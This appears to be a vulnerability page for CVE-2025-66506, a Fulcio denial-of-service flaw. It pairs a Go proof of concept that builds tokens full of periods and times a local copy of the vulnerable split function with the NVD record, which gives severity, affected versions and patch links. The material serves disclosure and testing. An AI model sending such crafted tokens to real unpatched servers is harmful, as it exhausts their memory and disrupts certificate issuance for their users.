CVE-2025-66506

// CVE-2025-66506 PoC - Fulcio DoS via malicious OIDC token // This PoC demonstrates sending a crafted OIDC token with excessive periods package main import ( "fmt" "strings" "time" ) // Vulnerable function from Fulcio (prior to 1.8.3) func extractIssuerURL(token string) []string { // This split operation is vulnerable to memory exhaustion // when token contains many period characters return strings.Split(token, ".") } // Generate malicious token with excessive periods func generateMaliciousToken(numPeriods int) string { var sb strings.Builder sb.WriteString("eyJ") for i := 0; i < numPeriods; i++ { sb.WriteString(strings.Repeat("a.", 100)) } sb.WriteString("sign") return sb.String() } func main() { fmt.Println("CVE-2025-66506 PoC - Fulcio extractIssuerURL DoS") fmt.Println("===============================================") // Test with increasing numbers of periods testCases := []int{100, 500, 1000, 5000} for _, numPeriods := range testCases { maliciousToken := generateMaliciousToken(numPeriods) start := time.Now() result := extractIssuerURL(maliciousToken) elapsed := time.Since(start) fmt.Printf("Periods: %d | Result parts: %d | Time: %v\n", numPeriods, len(result), elapsed) } fmt.Println("\n[!] Note: In production, this can cause memory exhaustion") fmt.Println("[!] Recommendation: Upgrade to Fulcio >= 1.8.3") }

{"cve": {"id": "CVE-2025-66506", "sourceIdentifier": "[email protected]", "published": "2025-12-04T22:15:49.503", "lastModified": "2026-03-10T19:30:53.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fulcio is a free-to-use certificate authority for issuing code signing certificates for an OpenID Connect (OIDC) identity. Prior to 1.8.3, function identity.extractIssuerURL splits (via a call to strings.Split) its argument (which is untrusted data) on periods. As a result, in the face of a malicious request with an (invalid) OIDC identity token in the payload containing many period characters, a call to extractIssuerURL incurs allocations to the tune of O(n) bytes (where n stands for the length of the function's argument), with a constant factor of about 16. This vulnerability is fixed in 1.8.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-405"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:fulcio:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.3", "matchCriteriaId": "C4901884-0820-47DE-B4A7-E79A053D360D"}]}]}], "references": [{"url": "https://github.com/sigstore/fulcio/commit/765a0e57608b9ef390e1eeeea8595b9054c63a5a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/sigstore/fulcio/security/advisories/GHSA-f83f-xpx7-ffpw", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}